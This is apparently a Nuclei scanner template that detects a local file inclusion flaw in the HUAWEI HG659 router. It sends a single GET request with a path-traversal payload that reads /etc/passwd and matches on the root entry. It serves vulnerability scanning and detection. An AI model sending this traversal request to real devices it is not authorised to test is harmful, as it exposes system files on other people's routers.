id: huawei-hg659-lfi

info:
  name: HUAWEI HG659 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: HUAWEI HG659 is vulnerable to local file inclusion.
  reference:
    - https://twitter.com/sec715/status/1406782172443287559
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,huawei,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lib///....//....//....//....//....//....//....//....//etc//passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022052cc645d247985cf302b65fb529c596b76a8bb5695faee03f4c0607f770b15b5022100ceada2efd2eb98396154f4631be51cc44ac7ff2c435080b3c13c0a99260799a4:922c64590222798bb761d5b6d8e72950